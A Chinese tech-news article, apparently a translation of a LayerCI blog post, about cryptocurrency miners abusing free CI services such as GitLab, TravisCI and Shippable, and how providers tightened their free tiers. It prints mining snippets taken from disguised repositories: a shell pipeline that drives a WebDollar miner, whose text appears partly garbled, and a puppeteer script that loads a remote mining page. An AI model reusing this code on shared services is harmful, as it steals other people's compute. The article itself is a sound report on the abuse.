东亚银行、岚图汽车带你解锁 AIGC 时代的数字化人才培养各赛道新模式! 了解详情
写点什么

加密货币挖矿正在杀死 CI 免费服务

  • 2021-04-27
  • 本文字数:1955 字

    阅读完需:约 6 分钟

加密货币挖矿正在杀死CI免费服务

由于加密货币挖矿攻击,LayerCI、GitLab、TravisCI 以及 Shippable 等等 CI 提供商都在收紧或关闭其免费服务。


2020 年 9 月,GitLab 宣布免费 CI 产品将限制使用;两个月之后,TravisCI 也宣布对“重大滥用”采取类似的限制措施。为什么这些 CI 厂商都会限制免费 CI 产品的使用呢?


深挖其背后原因,我们发现这些变化都与可挖矿加密货币的市值猛增有关。随着加密货币的市值从 2021 年 1 月的 1900 亿美元,激增至 2021 年 4 月的 2 万亿美元,一些企图从可挖矿加密货币获利的不良开发者将目光转向了平台提供商的免费 CI 服务。



加密货币市值激增


加密货币矿工如何在 LayerCI 平台“薅羊毛”?


在 LayerCI 平台,开发者可以通过创建每个分支的预览环境并自动运行端到端测试来构建全栈网站。由于之前,开发者可以在 LayerCI 的服务器上运行任意代码,因此经常有人违反 LayerCI 服务条款来挖掘加密货币。


用户名为“ testronan”的开发者,是 Flask 的狂热用户,他们几乎每一个小时就会提交一次 GitHub 存储库:testronan / MyFirstRepository-Flask。高产的程序员一般都会确保他们的代码能够得到良好的测试,因此我们发现他的存储库包含了五个不同的 CI 服务:TravisCI,CircleCI,GitHub Actions,Wercker 和 LayerCI。


仔细观察他的 CI 任务,我们发现这些 CI 任务看似是在运行 shell 脚本,实际运行的却是“listen.sh”,一个将复杂的 NodeJS 脚本和一些看似随机数结合在一起的 shell 脚本:


(sleep 10; echo 4; sleep 2; echo "tex.webd";sleep 2; echo 7; sleep 1; echo 1; sleep 1; echo "exit"; sleep 2) | stdbuf -oL npm run commands"; sleep 2) | stdbuf -oL npm run commandsundefined
复制代码


拨开迷雾,我们发现 MyFirstRepository-Flask 与 Flask 或 Web 服务器无关,它是将 WebDollars 发送到匿名地址的加密货币挖掘脚本。这些数字对应 WebDollar 的 NodeJS 实现的安装选项。


该存储库不是直接攻击 GitHub,而是滥用 GitHub action 的“ cron”功能来每小时创建一个新提交,并在其他四个 CI 提供程序上挖掘 WebDollars。


接收这些 coin 的两个钱包地址是:


https://www.webdscan.io/address/WEBD%24gBJhmuwat3kvP2@%232E4K2zXX967grh9L43%24


https://www.webdscan.io/address/WEBD%24gCszFRxzuMDbyNXnCXszoB2aIMSuV9kgbb%24


利用浏览器自动化来挖矿


“ vippro99”开发者的做法就没有“testronan”那么巧妙,数十个存储库几乎大部分都与加密货币或浏览器自动化有关。


nodejs-monney 存储库包含了各种脚本,可以通过 Google 流行的 puppeteer 项目启动 chrome 实例。他的逻辑很简单,如果直接在 CI 中挖掘加密货币是很容易被检测到的,而浏览器自动化是 CI 中常见的功能,刚好可以用它来掩盖。


puppeteer.launch({ headless: true, args: ['--no-sandbox', '--disable-setuid-sandbox', '--window-size=500,500', '--user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36' ] }).then(async browser => {  console.log('-- Running chrome!!');  const page = await browser.newPage();  await page.goto('https://vippro99.github.io/-meocoder-nodejs-tool/index.html');  page.on('console', (msg) => console.log(msg.text()));  await page.waitForTimeout(((Math.floor(Math.random() * 6) + 52) * 60) * 1000);  await browser.close();})
复制代码


据悉,该账户目前正在攻击 JFrog 的 Shippable CI 服务。我们在 Shippable 官网看到这样一则通知:“Your Shippable service will expire on May 3rd, 2021.”不知道这个决定是否与加密货币挖矿有关。


“ vippro99”提供的信息表明他们是在越南, 以 Monero 的当前价格,加密货币矿工在 Shippable 上的每个实例每月可以获得 2.5 美元,只需要维护 60 个并发实例就可以与该国的全职薪资相当。

加密货币和 CI 服务商是如何应对“薅羊毛”的?


针对以上这些花样百出的“薅羊毛”操作,加密货币和 CI 服务商是如何应对的呢?


最近,以太坊(Ethereum)宣布计划完全禁用基于计算的挖矿来获取新以太坊的方式,完全转向 proof-of-stake (POS) validation model。


而 CI 服务商的解决办法基本都是收紧或者关闭免费服务。2020 年 10 月 1 日开始,GitLab.com 免费层上每个顶级组(或个人命名空间)的 CI / CD 使用时长减少到每月 400 分钟,超出部分会以每 1000 分钟 10 美元的价格收费,开发者也可以自己升级到付费基本;2020 年 11 月 1 日开始,TravisCI 重新制定了定价规则,对于拥有 1、2、或 5 个并发计划的构建定价不变,基于 macOS 构建者的需要额外购买附加组件,同时也发布了新的基于使用情况的定价规则。


参考链接:

https://layerci.com/blog/crypto-miners-are-killing-free-ci/

2021-04-27 16:133881

评论

发布
暂无评论
发现更多内容

Kafka的体系结构

爱好编程进阶

Java 程序员 后端开发

SpringBoot-MVC自动配置原理

爱好编程进阶

Java 程序员 后端开发

SpringBoot整合MyBatis完整详细版

爱好编程进阶

Java 程序员 后端开发

【解决】jsPDF之长图片生成PDF

爱好编程进阶

Java 程序员 后端开发

如何在缺乏商业项目经验的前提下成功通过面试,兼说我如何甄别非商业项目经验

爱好编程进阶

Java 程序员 后端开发

Tomcat介绍(三)

爱好编程进阶

程序员 后端开发

「2021-老胡的年终总结」

爱好编程进阶

程序员 后端开发

令人欣慰!阿里大牛把Spring微服务架构设计整理成了500多页文档,真香

爱好编程进阶

Java 程序员 后端开发

Java开发的凡尔赛你不懂,晒出12月工资条,直言太辛苦

爱好编程进阶

程序员 后端开发

「每日一问」并发编程的特性是什么

爱好编程进阶

Java 程序员 后端开发

Java小白翻身教程-链表结构与编译大法(1)

爱好编程进阶

Java 程序员 后端开发

JUC常见的锁

爱好编程进阶

程序员 后端开发

MySQL数据库所有知识点最详细讲解,内置官方文档、个人理解

爱好编程进阶

程序员 后端开发

SpringDataJPA之关联关系

爱好编程进阶

Java 程序员 后端开发

【Jvm】Jvm类加载机制

爱好编程进阶

Java 程序员 后端开发

史上最全图解JVM,京东小哥带你了解性能提升100%背后的秘密武器

爱好编程进阶

Java 程序员 后端开发

leetcode38

爱好编程进阶

程序员 后端开发

大佬总结的4条宝贵经验,送给初入职场的你,从此一飞冲天

爱好编程进阶

Java 程序员 后端开发

JAVA-使用注解实现Excel表头多语言导出

JayJay

5月月更

极光笔记 | 极光基于元数据驱动数据治理浅谈

极光JIGUANG

数据治理 元数据

【刷题第十天】21. 合并两个有序链表

白日梦

5月月更

面试突击48:死锁的排查工具有哪些?

王磊

Java java面试

【直播预告】程序员修炼之道——如何实现敏捷开发与稳健运行的有机统一

FinClip

程序员 小程序运营

优化了MYSQL大量写入问题,老板奖励了1000块给我

爱好编程进阶

Java 程序员 后端开发

AI简报-视频去交错(Deinterlance)

AIWeker

人工智能 深度学习 5月月更 去交错

编写自己的 WordPress 模板

海拥(haiyong.site)

WordPress 5月月更

Java必备技能之源码篇(Nginx源码研究之nginx限流模块)

爱好编程进阶

Java 程序员 后端开发

java高并发系列 - 第28天:实战篇,微服务日志的伤痛

爱好编程进阶

Java 程序员 后端开发

SpringloC容器的依赖注入源码解析(3)

爱好编程进阶

Java 程序员 后端开发

厉害了!把 HashMap 剖析的只剩渣了!

爱好编程进阶

Java 程序员 后端开发

一文聊透 Netty IO 事件的编排利器 pipeline | 详解所有 IO 事件的触发时机以及传播路径

bin的技术小屋

网络编程 Netty java netty 5月月更

加密货币挖矿正在杀死CI免费服务_服务革新_田晓旭_InfoQ精选文章